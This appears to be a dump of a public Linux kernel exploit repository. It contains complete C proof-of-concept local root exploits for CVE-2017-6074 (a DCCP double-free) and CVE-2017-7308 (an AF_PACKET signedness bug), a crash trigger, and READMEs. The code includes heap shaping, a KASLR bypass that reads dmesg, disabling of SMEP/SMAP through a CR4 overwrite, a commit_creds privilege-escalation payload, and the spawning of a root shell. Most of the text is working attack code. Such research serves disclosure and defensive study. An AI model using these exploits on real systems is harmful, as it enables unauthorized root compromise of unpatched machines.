kmalloc_pad() { 396 | debug("dccp kmalloc pad"); 397 | dccp_kmalloc_pad(); 398 | debug("timer kmalloc pad"); 399 | timer_kmalloc_pad(); 400 | debug("udp kmalloc pad"); 401 | udp_kmalloc_pad(); 402 | } 403 | 404 | void udp_kmalloc_warm() { 405 | int i, j; 406 | char dummy[2048]; 407 | struct udp_fifo_handle uh[16]; 408 | for (i = 0; i < KMALLOC_WARM / 16; i++) { 409 | udp_fifo_init(&uh[i]); 410 | for (j = 0; j < 16; j++) 411 | udp_fifo_kmalloc(&uh[i], &dummy[0]); 412 | } 413 | for (i = 0; i < KMALLOC_WARM / 16; i++) { 414 | for (j = 0; j < 16; j++) 415 | udp_fifo_kfree(&uh[i]); 416 | } 417 | } 418 | 419 | void kmalloc_warm() { 420 | udp_kmalloc_warm(); 421 | } 422 | 423 | // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * * 424 | 425 | // Executes func(arg) from interrupt context multiple times. 426 | void kernel_exec_irq(void *func, unsigned long arg) { 427 | int i; 428 | struct dccp_handle dh; 429 | struct udp_fifo_handle uh1, uh2, uh3, uh4; 430 | char dummy[2048]; 431 | char buffer[2048]; 432 | 433 | printf("[.] scheduling %p(%p)\n", func, (void *)arg); 434 | 435 | memset(&dummy[0], 0xc3, 2048); 436 | init_timer_buffer(&buffer[0], func, arg); 437 | 438 | udp_fifo_init(&uh1); 439 | udp_fifo_init(&uh2); 440 | udp_fifo_init(&uh3); 441 | udp_fifo_init(&uh4); 442 | 443 | debug("kmalloc pad"); 444 | kmalloc_pad(); 445 | 446 | debug("kmalloc warm"); 447 | kmalloc_warm(); 448 | 449 | debug("dccp init"); 450 | dccp_init(&dh, port++); 451 | 452 | debug("dccp kmalloc kfree"); 453 | dccp_kmalloc_kfree(&dh); 454 | 455 | debug("catch 1"); 456 | for (i = 0; i < CATCH_FIRST; i++) 457 | udp_fifo_kmalloc(&uh1, &dummy[0]); 458 | 459 | debug("dccp kfree again"); 460 | dccp_kfree_again(&dh); 461 | 462 | debug("catch 2"); 463 | for (i = 0; i < CATCH_FIRST; i++) 464 | udp_fifo_kmalloc(&uh2, &dummy[0]); 465 | 466 | int timers[CATCH_FIRST]; 467 | debug("catch 1 -> timer"); 468 | for (i = 0; i < CATCH_FIRST; i++) { 469 | udp_fifo_kfree(&uh1); 470 | timers[i] = timer_kmalloc(); 471 | } 472 | 473 | debug("catch 1 small"); 474 | for (i = 0; i < CATCH_AGAIN_SMALL; i++) 475 | udp_fifo_kmalloc_small(&uh4); 476 | 477 | debug("schedule timers"); 478 | for (i = 0; i < CATCH_FIRST; i++) 479 | timer_schedule(timers[i], 500); 480 | 481 | debug("catch 2 -> overwrite timers"); 482 | for (i = 0; i < CATCH_FIRST; i++) { 483 | udp_fifo_kfree(&uh2); 484 | udp_fifo_kmalloc(&uh3, &buffer[0]); 485 | } 486 | 487 | debug("catch 2 small"); 488 | for (i = 0; i < CATCH_AGAIN_SMALL; i++) 489 | udp_fifo_kmalloc_small(&uh4); 490 | 491 | printf("[.] waiting for the timer to execute\n"); 492 | 493 | debug("wait"); 494 | sleep(1); 495 | 496 | printf("[.] done\n"); 497 | } 498 | 499 | void disable_smep_smap() { 500 | printf("[.] disabling SMEP & SMAP\n"); 501 | kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE); 502 | printf("[.] SMEP & SMAP should be off now\n"); 503 | } 504 | 505 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * * 506 | 507 | // Executes func() from process context. 508 | void kernel_exec(void *func) { 509 | int i; 510 | struct dccp_handle dh; 511 | struct udp_fifo_handle uh1, uh2, uh3; 512 | char dummy[2048]; 513 | char buffer[2048]; 514 | 515 | printf("[.] executing %p\n", func); 516 | 517 | memset(&dummy[0], 0, 2048); 518 | init_skb_buffer(&buffer[0], func); 519 | 520 | udp_fifo_init(&uh1); 521 | udp_fifo_init(&uh2); 522 | udp_fifo_init(&uh3); 523 | 524 | debug("kmalloc pad"); 525 | kmalloc_pad(); 526 | 527 | debug("kmalloc warm"); 528 | kmalloc_warm(); 529 | 530 | debug("dccp init"); 531 | dccp_init(&dh, port++); 532 | 533 | debug("dccp kmalloc kfree"); 534 | dccp_kmalloc_kfree(&dh); 535 | 536 | debug("catch 1"); 537 | for (i = 0; i < CATCH_FIRST; i++) 538 | udp_fifo_kmalloc(&uh1, &dummy[0]); 539 | 540 | debug("dccp kfree again:"); 541 | dccp_kfree_again(&dh); 542 | 543 | debug("catch 2"); 544 | for (i = 0; i < CATCH_FIRST; i++) 545 | udp_fifo_kmalloc(&uh2, &dummy[0]); 546 | 547 | debug("catch 1 -> overwrite"); 548 | for (i = 0; i < CATCH_FIRST; i++) { 549 | udp_fifo_kfree(&uh1); 550 | sendmmsg_kmalloc_kfree(port++, &buffer[0]); 551 | } 552 | debug("catch 2 -> free & trigger"); 553 | for (i = 0; i < CATCH_FIRST; i++) 554 | udp_fifo_kfree(&uh2); 555 | 556 | debug("catch 1 & 2"); 557 | for (i = 0; i < CATCH_AGAIN; i++) 558 | udp_fifo_kmalloc(&uh3, &dummy[0]); 559 | 560 | printf("[.] done\n"); 561 | } 562 | 563 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 564 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 565 | 566 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 567 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 568 | 569 | void get_root_payload(void) { 570 | commit_creds(prepare_kernel_cred(0)); 571 | } 572 | 573 | void get_root() { 574 | printf("[.] getting root\n"); 575 | kernel_exec(&get_root_payload); 576 | printf("[.] should be root now\n"); 577 | } 578 | 579 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 580 | 581 | void exec_shell() { 582 | char *shell = "/bin/bash"; 583 | char *args[] = {shell, "-i", NULL}; 584 | execve(shell, args, NULL); 585 | } 586 | 587 | void fork_shell() { 588 | pid_t rv; 589 | 590 | rv = fork(); 591 | if (rv == -1) { 592 | perror("fork()"); 593 | exit(EXIT_FAILURE); 594 | } 595 | 596 | if (rv == 0) { 597 | exec_shell(); 598 | } 599 | } 600 | 601 | bool is_root() { 602 | // We can't simple check uid, since we're running inside a namespace 603 | // with uid set to 0. Try opening /etc/shadow instead. 604 | int fd = open("/etc/shadow", O_RDONLY); 605 | if (fd == -1) 606 | return false; 607 | close(fd); 608 | return true; 609 | } 610 | 611 | void check_root() { 612 | printf("[.] checking if we got root\n"); 613 | 614 | if (!is_root()) { 615 | printf("[-] something went wrong =(\n"); 616 | printf("[!] don't kill the exploit binary, the kernel will crash\n"); 617 | return; 618 | } 619 | 620 | printf("[+] got r00t ^_^\n"); 621 | printf("[!] don't kill the exploit binary, the kernel will crash\n"); 622 | 623 | // Fork and exec instead of just doing the exec to avoid freeing 624 | // skbuffs and prevent crashes due to a allocator corruption. 625 | fork_shell(); 626 | } 627 | 628 | static bool write_file(const char* file, const char* what, ...) 629 | { 630 | char buf[1024]; 631 | va_list args; 632 | va_start(args, what); 633 | vsnprintf(buf, sizeof(buf), what, args); 634 | va_end(args); 635 | buf[sizeof(buf) - 1] = 0; 636 | int len = strlen(buf); 637 | 638 | int fd = open(file, O_WRONLY | O_CLOEXEC); 639 | if (fd == -1) 640 | return false; 641 | if (write(fd, buf, len) != len) { 642 | close(fd); 643 | return false; 644 | } 645 | close(fd); 646 | return true; 647 | } 648 | 649 | void setup_sandbox() { 650 | int real_uid = getuid(); 651 | int real_gid = getgid(); 652 | 653 | if (unshare(CLONE_NEWUSER) != 0) { 654 | perror("unshare(CLONE_NEWUSER)"); 655 | exit(EXIT_FAILURE); 656 | } 657 | 658 | if (unshare(CLONE_NEWNET) != 0) { 659 | perror("unshare(CLONE_NEWUSER)"); 660 | exit(EXIT_FAILURE); 661 | } 662 | 663 | if (!write_file("/proc/self/setgroups", "deny")) { 664 | perror("write_file(/proc/self/set_groups)"); 665 | exit(EXIT_FAILURE); 666 | } 667 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 668 | perror("write_file(/proc/self/uid_map)"); 669 | exit(EXIT_FAILURE); 670 | } 671 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 672 | perror("write_file(/proc/self/gid_map)"); 673 | exit(EXIT_FAILURE); 674 | } 675 | 676 | cpu_set_t my_set; 677 | CPU_ZERO(&my_set); 678 | CPU_SET(0, &my_set); 679 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 680 | perror("sched_setaffinity()"); 681 | exit(EXIT_FAILURE); 682 | } 683 | 684 | if (system("/sbin/ifconfig lo up") != 0) { 685 | perror("system(/sbin/ifconfig lo up)"); 686 | exit(EXIT_FAILURE); 687 | } 688 | 689 | printf("[.] namespace sandbox setup successfully\n"); 690 | } 691 | 692 | int main() { 693 | setup_sandbox(); 694 | 695 | #if SMEP_SMAP_BYPASS 696 | disable_smep_smap(); 697 | #endif 698 | 699 | get_root(); 700 | 701 | check_root(); 702 | 703 | while (true) { 704 | sleep(100); 705 | } 706 | 707 | return 0; 708 | } 709 | -------------------------------------------------------------------------------- /CVE-2017-6074/trigger.c: -------------------------------------------------------------------------------- 1 | // A trigger for CVE-2017-6074, crashes kernel. 2 | // Tested on 4.4.0-62-generic #83-Ubuntu kernel. 3 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 4 | // 5 | // Andrey Konovalov 6 | 7 | #define _GNU_SOURCE 8 | 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #include 28 | 29 | int main() { 30 | struct sockaddr_in6 sa1; 31 | sa1.sin6_family = AF_INET6; 32 | sa1.sin6_port = htons(20002); 33 | inet_pton(AF_INET6, "::1", &sa1.sin6_addr); 34 | sa1.sin6_flowinfo = 0; 35 | sa1.sin6_scope_id = 0; 36 | 37 | int optval = 8; 38 | 39 | int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 40 | bind(s1, &sa1, 0x20); 41 | listen(s1, 0x9); 42 | 43 | setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4); 44 | 45 | int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 46 | connect(s2, &sa1, 0x20); 47 | 48 | shutdown(s1, SHUT_RDWR); 49 | close(s1); 50 | shutdown(s2, SHUT_RDWR); 51 | close(s2); 52 | 53 | return 0; 54 | } 55 | -------------------------------------------------------------------------------- /CVE-2017-7308/README.md: -------------------------------------------------------------------------------- 1 | CVE-2017-7308 2 | ============= 3 | 4 | This is a proof-of-concept Local Privelege Escalation exploit for [CVE-2017-7308](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7308) — a vulnerability I found in the AF\_PACKET sockets implementation. 5 | See the details in [Exploiting the Linux kernel via packet sockets](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html). 6 | -------------------------------------------------------------------------------- /CVE-2017-7308/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-7308. 2 | // Includes a SMEP & SMAP bypass. 3 | // Tested on 4.8.0-41-generic Ubuntu kernel. 4 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 5 | // 6 | // Usage: 7 | // user@ubuntu:~$ uname -a 8 | // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... 9 | // user@ubuntu:~$ gcc pwn.c -o pwn 10 | // user@ubuntu:~$ ./pwn 11 | // [.] starting 12 | // [.] namespace sandbox set up 13 | // [.] KASLR bypass enabled, getting kernel addr 14 | // [.] done, kernel text: ffffffff87000000 15 | // [.] commit_creds: ffffffff870a5cf0 16 | // [.] prepare_kernel_cred: ffffffff870a60e0 17 | // [.] native_write_cr4: ffffffff87064210 18 | // [.] padding heap 19 | // [.] done, heap is padded 20 | // [.] SMEP & SMAP bypass enabled, turning them off 21 | // [.] done, SMEP & SMAP should be off now 22 | // [.] executing get root payload 0x401516 23 | // [.] done, should be root now 24 | // [.] checking if we got root 25 | // [+] got r00t ^_^ 26 | // root@ubuntu:/home/user# cat /etc/shadow 27 | // root:!:17246:0:99999:7::: 28 | // daemon:*:17212:0:99999:7::: 29 | // bin:*:17212:0:99999:7::: 30 | // ... 31 | // 32 | // Andrey Konovalov 33 | 34 | #define _GNU_SOURCE 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | 63 | #define ENABLE_KASLR_BYPASS 1 64 | #define ENABLE_SMEP_SMAP_BYPASS 1 65 | 66 | // Will be overwritten if ENABLE_KASLR_BYPASS 67 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 68 | 69 | // Kernel symbol offsets 70 | #define COMMIT_CREDS 0xa5cf0ul 71 | #define PREPARE_KERNEL_CRED 0xa60e0ul 72 | #define NATIVE_WRITE_CR4 0x64210ul 73 | 74 | // Should have SMEP and SMAP bits disabled 75 | #define CR4_DESIRED_VALUE 0x407f0ul 76 | 77 | #define KMALLOC_PAD 512 78 | #define PAGEALLOC_PAD 1024 79 | 80 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 81 | 82 | typedef uint32_t u32; 83 | 84 | // $ pahole -C hlist_node ./vmlinux 85 | struct hlist_node { 86 | struct hlist_node * next; /* 0 8 */ 87 | struct hlist_node * * pprev; /* 8 8 */ 88 | }; 89 | 90 | // $ pahole -C timer_list ./vmlinux 91 | struct timer_list { 92 | struct hlist_node entry; /* 0 16 */ 93 | long unsigned int expires; /* 16 8 */ 94 | void (*function)(long unsigned int); /* 24 8 */ 95 | long unsigned int data; /* 32 8 */ 96 | u32 flags; /* 40 4 */ 97 | int start_pid; /* 44 4 */ 98 | void * start_site; /* 48 8 */ 99 | char start_comm[16]; /* 56 16 */ 100 | }; 101 | 102 | // packet_sock->rx_ring->prb_bdqc->retire_blk_timer 103 | #define TIMER_OFFSET 896 104 | 105 | // pakcet_sock->xmit 106 | #define XMIT_OFFSET 1304 107 | 108 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 109 | 110 | void packet_socket_rx_ring_init(int s, unsigned int block_size, 111 | unsigned int frame_size, unsigned int block_nr, 112 | unsigned int sizeof_priv, unsigned int timeout) { 113 | int v = TPACKET_V3; 114 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 115 | if (rv < 0) { 116 | perror("[-] setsockopt(PACKET_VERSION)"); 117 | exit(EXIT_FAILURE); 118 | } 119 | 120 | struct tpacket_req3 req; 121 | memset(&req, 0, sizeof(req)); 122 | req.tp_block_size = block_size; 123 | req.tp_frame_size = frame_size; 124 | req.tp_block_nr = block_nr; 125 | req.tp_frame_nr = (block_size * block_nr) / frame_size; 126 | req.tp_retire_blk_tov = timeout; 127 | req.tp_sizeof_priv = sizeof_priv; 128 | req.tp_feature_req_word = 0; 129 | 130 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 131 | if (rv < 0) { 132 | perror("[-] setsockopt(PACKET_RX_RING)"); 133 | exit(EXIT_FAILURE); 134 | } 135 | } 136 | 137 | int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 138 | unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 139 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 140 | if (s < 0) { 141 | perror("[-] socket(AF_PACKET)"); 142 | exit(EXIT_FAILURE); 143 | } 144 | 145 | packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 146 | sizeof_priv, timeout); 147 | 148 | struct sockaddr_ll sa; 149 | memset(&sa, 0, sizeof(sa)); 150 | sa.sll_family = PF_PACKET; 151 | sa.sll_protocol = htons(ETH_P_ALL); 152 | sa.sll_ifindex = if_nametoindex("lo"); 153 | sa.sll_hatype = 0; 154 | sa.sll_pkttype = 0; 155 | sa.sll_halen = 0; 156 | 157 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 158 | if (rv < 0) { 159 | perror("[-] bind(AF_PACKET)"); 160 | exit(EXIT_FAILURE); 161 | } 162 | 163 | return s; 164 | } 165 | 166 | void packet_socket_send(int s, char *buffer, int size) { 167 | struct sockaddr_ll sa; 168 | memset(&sa, 0, sizeof(sa)); 169 | sa.sll_ifindex = if_nametoindex("lo"); 170 | sa.sll_halen = ETH_ALEN; 171 | 172 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 173 | sizeof(sa)) < 0) { 174 | perror("[-] sendto(SOCK_RAW)"); 175 | exit(EXIT_FAILURE); 176 | } 177 | } 178 | 179 | void loopback_send(char *buffer, int size) { 180 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 181 | if (s == -1) { 182 | perror("[-] socket(SOCK_RAW)"); 183 | exit(EXIT_FAILURE); 184 | } 185 | 186 | packet_socket_send(s, buffer, size); 187 | } 188 | 189 | int packet_sock_kmalloc() { 190 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 191 | if (s == -1) { 192 | perror("[-] socket(SOCK_DGRAM)"); 193 | exit(EXIT_FAILURE); 194 | } 195 | return s; 196 | } 197 | 198 | void packet_sock_timer_schedule(int s, int timeout) { 199 | packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); 200 | } 201 | 202 | void packet_sock_id_match_trigger(int s) { 203 | char buffer[16]; 204 | packet_socket_send(s, &buffer[0], sizeof(buffer)); 205 | } 206 | 207 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 208 | 209 | #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) 210 | #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 211 | #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) 212 | 213 | #define V3_ALIGNMENT (8) 214 | #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 215 | 216 | #define ETH_HDR_LEN sizeof(struct ethhdr) 217 | #define IP_HDR_LEN sizeof(struct iphdr) 218 | #define UDP_HDR_LEN sizeof(struct udphdr) 219 | 220 | #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) 221 | 222 | int oob_setup(int offset) { 223 | unsigned int maclen = ETH_HDR_LEN; 224 | unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + 225 | (maclen < 16 ? 16 : maclen)); 226 | unsigned int macoff = netoff - maclen; 227 | unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 228 | 0x8000 - BLK_HDR_LEN - macoff + offset; 229 | return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); 230 | } 231 | 232 | void oob_write(char *buffer, int size) { 233 | loopback_send(buffer, size); 234 | } 235 | 236 | void oob_timer_execute(void *func, unsigned long arg) { 237 | oob_setup(2048 + TIMER_OFFSET - 8); 238 | 239 | int i; 240 | for (i = 0; i < 32; i++) { 241 | int timer = packet_sock_kmalloc(); 242 | packet_sock_timer_schedule(timer, 1000); 243 | } 244 | 245 | char buffer[2048]; 246 | memset(&buffer[0], 0, sizeof(buffer)); 247 | 248 | struct timer_list *timer = (struct timer_list *)&buffer[8]; 249 | timer->function = func; 250 | timer->data = arg; 251 | timer->flags = 1; 252 | 253 | oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); 254 | 255 | sleep(1); 256 | } 257 | 258 | void oob_id_match_execute(void *func) { 259 | int s = oob_setup(2048 + XMIT_OFFSET - 64); 260 | 261 | int ps[32]; 262 | 263 | int i; 264 | for (i = 0; i < 32; i++) 265 | ps[i] = packet_sock_kmalloc(); 266 | 267 | char buffer[2048]; 268 | memset(&buffer[0], 0, 2048); 269 | 270 | void **xmit = (void **)&buffer[64]; 271 | *xmit = func; 272 | 273 | oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); 274 | 275 | for (i = 0; i < 32; i++) 276 | packet_sock_id_match_trigger(ps[i]); 277 | } 278 | 279 | // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * 280 | 281 | void kmalloc_pad(int count) { 282 | int i; 283 | for (i = 0; i < count; i++) 284 | packet_sock_kmalloc(); 285 | } 286 | 287 | void pagealloc_pad(int count) { 288 | packet_socket_setup(0x8000, 2048, count, 0, 100); 289 | } 290 | 291 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 292 | 293 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 294 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 295 | 296 | void get_root_payload(void) { 297 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 298 | ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0) 299 | ); 300 | } 301 | 302 | // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * * 303 | 304 | #define SYSLOG_ACTION_READ_ALL 3 305 | #define SYSLOG_ACTION_SIZE_BUFFER 10 306 | 307 | unsigned long get_kernel_addr() { 308 | int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 309 | if (size == -1) { 310 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 311 | exit(EXIT_FAILURE); 312 | } 313 | 314 | size = (size / getpagesize() + 1) * getpagesize(); 315 | char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, 316 | MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 317 | 318 | size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); 319 | if (size == -1) { 320 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | const char *needle1 = "Freeing SMP"; 325 | char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); 326 | if (substr == NULL) { 327 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); 328 | exit(EXIT_FAILURE); 329 | } 330 | 331 | for (size = 0; substr[size] != '\n'; size++); 332 | 333 | const char *needle2 = "ffff"; 334 | substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); 335 | if (substr == NULL) { 336 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | char *endptr = &substr[16]; 341 | unsigned long r = strtoul(&substr[0], &endptr, 16); 342 | 343 | r &= 0xfffffffffff00000ul; 344 | r -= 0x1000000ul; 345 | 346 | return r; 347 | } 348 | 349 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 350 | 351 | void exec_shell() { 352 | char *shell = "/bin/bash"; 353 | char *args[] = {shell, "-i", NULL}; 354 | execve(shell, args, NULL); 355 | } 356 | 357 | void fork_shell() { 358 | pid_t rv; 359 | 360 | rv = fork(); 361 | if (rv == -1) { 362 | perror("[-] fork()"); 363 | exit(EXIT_FAILURE); 364 | } 365 | 366 | if (rv == 0) { 367 | exec_shell(); 368 | } 369 | } 370 | 371 | bool is_root() { 372 | // We can't simple check uid, since we're running inside a namespace 373 | // with uid set to 0. Try opening /etc/shadow instead. 374 | int fd = open("/etc/shadow", O_RDONLY); 375 | if (fd == -1) 376 | return false; 377 | close(fd); 378 | return true; 379 | } 380 | 381 | void check_root() { 382 | printf("[.] checking if we got root\n"); 383 | 384 | if (!is_root()) { 385 | printf("[-] something went wrong =(\n"); 386 | return; 387 | } 388 | 389 | printf("[+] got r00t ^_^\n"); 390 | 391 | // Fork and exec instead of just doing the exec to avoid potential 392 | // memory corruptions when closing packet sockets. 393 | fork_shell(); 394 | } 395 | 396 | bool write_file(const char* file, const char* what, ...) { 397 | char buf[1024]; 398 | va_list args; 399 | va_start(args, what); 400 | vsnprintf(buf, sizeof(buf), what, args); 401 | va_end(args); 402 | buf[sizeof(buf) - 1] = 0; 403 | int len = strlen(buf); 404 | 405 | int fd = open(file, O_WRONLY | O_CLOEXEC); 406 | if (fd == -1) 407 | return false; 408 | if (write(fd, buf, len) != len) { 409 | close(fd); 410 | return false; 411 | } 412 | close(fd); 413 | return true; 414 | } 415 | 416 | void setup_sandbox() { 417 | int real_uid = getuid(); 418 | int real_gid = getgid(); 419 | 420 | if (unshare(CLONE_NEWUSER) != 0) { 421 | perror("[-] unshare(CLONE_NEWUSER)"); 422 | exit(EXIT_FAILURE); 423 | } 424 | 425 | if (unshare(CLONE_NEWNET) != 0) { 426 | perror("[-] unshare(CLONE_NEWUSER)"); 427 | exit(EXIT_FAILURE); 428 | } 429 | 430 | if (!write_file("/proc/self/setgroups", "deny")) { 431 | perror("[-] write_file(/proc/self/set_groups)"); 432 | exit(EXIT_FAILURE); 433 | } 434 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 435 | perror("[-] write_file(/proc/self/uid_map)"); 436 | exit(EXIT_FAILURE); 437 | } 438 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 439 | perror("[-] write_file(/proc/self/gid_map)"); 440 | exit(EXIT_FAILURE); 441 | } 442 | 443 | cpu_set_t my_set; 444 | CPU_ZERO(&my_set); 445 | CPU_SET(0, &my_set); 446 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 447 | perror("[-] sched_setaffinity()"); 448 | exit(EXIT_FAILURE); 449 | } 450 | 451 | if (system("/sbin/ifconfig lo up") != 0) { 452 | perror("[-] system(/sbin/ifconfig lo up)"); 453 | exit(EXIT_FAILURE); 454 | } 455 | } 456 | 457 | int main() { 458 | printf("[.] starting\n"); 459 | 460 | setup_sandbox(); 461 | 462 | printf("[.] namespace sandbox set up\n"); 463 | 464 | #if ENABLE_KASLR_BYPASS 465 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 466 | KERNEL_BASE = get_kernel_addr(); 467 | printf("[.] done, kernel text: %lx\n", KERNEL_BASE); 468 | #endif 469 | 470 | printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS); 471 | printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); 472 | 473 | #if ENABLE_SMEP_SMAP_BYPASS 474 | printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); 475 | #endif 476 | 477 | printf("[.] padding heap\n"); 478 | kmalloc_pad(KMALLOC_PAD); 479 | pagealloc_pad(PAGEALLOC_PAD); 480 | printf("[.] done, heap is padded\n"); 481 | 482 | #if ENABLE_SMEP_SMAP_BYPASS 483 | printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); 484 | oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); 485 | printf("[.] done, SMEP & SMAP should be off now\n"); 486 | #endif 487 | 488 | printf("[.] executing get root payload %p\n", &get_root_payload); 489 | oob_id_match_execute((void *)&get_root_payload); 490 | printf("[.] done, should be root now\n"); 491 | 492 | check_root(); 493 | 494 | while (1) sleep(1000); 495 | 496 | return 0; 497 | } 498 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Linux kernel exploits 2 | ===================== 3 | 4 | | Date | Link | Description | Vector | Impact | 5 | | --- | --- | --- | --- | --- | 6 | | 02.2016 | [CVE-2016-2384](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384) | Double-free in USB MIDI driver | Physical + Local | LPE | 7 | | 03.2016 | [prefetch-side-channel](https://github.com/xairy/kernel-exploits/tree/master/prefetch-side-channel) | KASLR bypass via prefetch | Local | Info-leak | 8 | | 12.2016 | [CVE-2016-9793](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793) | Signedness issue with socket buffers | Local + cap\_net\_admin | LPE | 9 | | 02.2017 | [CVE-2017-6074](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074) | Double-free in DCCP sockets | Local | LPE | 10 | | 03.2017 | [CVE-2017-7308](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308) | Signedness issue in AF\_PACKET sockets | Local | LPE | 11 | | 08.2017 | [CVE-2017-1000112](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112) | Memory corruption in UDP FO packets | Local | LPE | 12 | | 08.2018 | [CVE-2017-18344](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-18344) | Arbitrary-read in the timer subsystem | Local | Info-leak | 13 | 14 | ## No license 15 | 16 | The code in this repository comes with no attached license. 17 | 18 | THE SOFTWARE [and this disclaimer] IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- 